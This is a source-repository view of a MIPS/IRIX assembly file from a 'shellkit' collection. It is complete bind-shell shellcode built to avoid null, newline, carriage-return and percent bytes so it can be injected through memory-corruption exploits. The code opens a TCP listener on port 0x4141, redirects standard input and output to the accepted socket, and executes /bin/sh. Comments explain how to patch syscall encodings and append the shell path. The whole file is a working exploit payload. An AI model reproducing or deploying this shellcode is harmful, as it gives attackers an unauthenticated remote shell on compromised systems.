summaryrefslogtreecommitdiff
path: root/other/shellkit/mips_irix/portshellsh.s
blob: 18070f60bc81107c2ba0b3baf419666838c926a6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
/* MIPS/IRIX PIC listening port shellcode
 * no 0x00, 0x0a, 0x0d, 0x25 bytes
 *
 * bind a shell to tcp port 0x4141
 *
 * 2001/05/25 optimized from 368 down to 188 bytes -sc.
 *
 */

	/* XXX: replace syscall instructions with "\x01\x01\x01\x0c" */

#include <sgidefs.h>
#include <sys/regdef.h>
#include <sys/asm.h>
#include <sys.s>
#include <sys/syscall.h>
#include <elf.h>

	.section .text

	.globl	cbegin
	.globl	cend

cbegin:
	.set	noreorder
	.set	nomacro

	/* socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)
	 */
	li	s6, 0x7350
	subu	a0, s6, 0x734e	/* AF_INET = 2 */
	subu	a1, s6, 0x734e	/* SOCK_STREAM = 2 */
	subu	a2, s6, 0x734a	/* IPPROTO_TCP = 6 */
	li	v0, SYS_socket	/* 0x0453 */
	syscall

	/* socket returned in v0, save to a0
	 */
	andi	a0, v0, 0xffff		/* a0 = socket */

	/* build struct sockaddr_in
	 * 0x0002port 0x00000000 0x00000000 0x00000000
	 */
	subu	t2, s6, 0x734e		/* t2 = 0x0002 */
	sh	t2, -16(sp)
	li	t2, 0x4141		/* t2 = port number */
	sh	t2, -14(sp)
	sw	zero, -12(sp)
	sw	zero, -8(sp)
	sw	zero, -4(sp)

	/* bind (socket, (struct sockaddr *) srv_addr,
	 *	sizeof (struct sockaddr_in)
	 */
	subu	a2, s6, 0x7340	/* a2 = sizeof (struct sockaddr_in) = 0x10 */
	subu	a1, sp, a2	/* a1 = (struct sockaddr *) */
	li	v0, SYS_bind	/* 0x0442 */
	syscall

	/* listen (socket, backlog)
	 * XXX: is it safe here to make backlog = pointer-on-the-stack ?
	 *      should be, since its still a positive number
	 */
/*	subu	a1, s6, 0x7340	*//* a1 = backlog = 0x10 */
	li	v0, SYS_listen	/* 0x0448 */
	syscall

	/* accept (socket, (struct sockaddr *) cl_addr,
	 *	&socklen)
	 * XXX: a1 is still the pointer to the sockaddr struct
	 * a2 should be 0x10 still
	 */
	sw	a2, -20(sp)
	subu	a2, sp, 20	/* a2 = &socklen */
	li	v0, SYS_accept	/* 0x0441 */
	syscall


	/* dup2 (sock, 0), dup2 (sock, 1), dup2 (sock, 2)
	 */
	subu	s3, s6, 0x431e	/* s3 = 0x3032 (0x3030 = dummy, 0x0002 = STDERR_FILENO) */

	/* socket returned in v0, save in s7
	 */
	andi	s7, v0, 0xffff

	/* dup is emulated through close and fcntl, since irix offers no
	 * native dup syscall as for example linux. see phrack 56 for details
	 */
dup_loop:
	andi	a0, s3, 0x0103	/* a0 = STD*_FILENO */
	li	v0, SYS_close	/* 0x03ee */
	syscall

	andi	a0, s7, 0xffff	/* a0 = socket */
	slti	a1, zero, -1	/* a1 = 0 */
	andi	a2, s3, 0x0103	/* a2 = STD*_FILENO */
	li	v0, SYS_fcntl	/* 0x0426 */
	syscall

	subu	s3, 0x1011
	bgez	s3, dup_loop

	/* execve ("/bin/sh", &{"/bin/sh",NULL}, NULL)
	 */
	sw	zero, -4(sp)

	/* a2 (envp) is already zero due to the dup_loop
	 */
gaddr:	bltzal	zero, gaddr	/* rock on-. lsd */
	subu	a1, sp, 8

	/* ra contains the proper address now */
	addu	ra, ra, 0x0120	/* add 32 + 0x0100 */

	add	a0, ra, -(8 + 0x100)
	sb	zero, -(1 + 0x100)(ra)	/* store NUL */
	sw	a0, -8(sp)
	li	v0, SYS_execve
	syscall

	.end	cbegin
cend:

	/* XXX append here: "/bin/sh\x42" */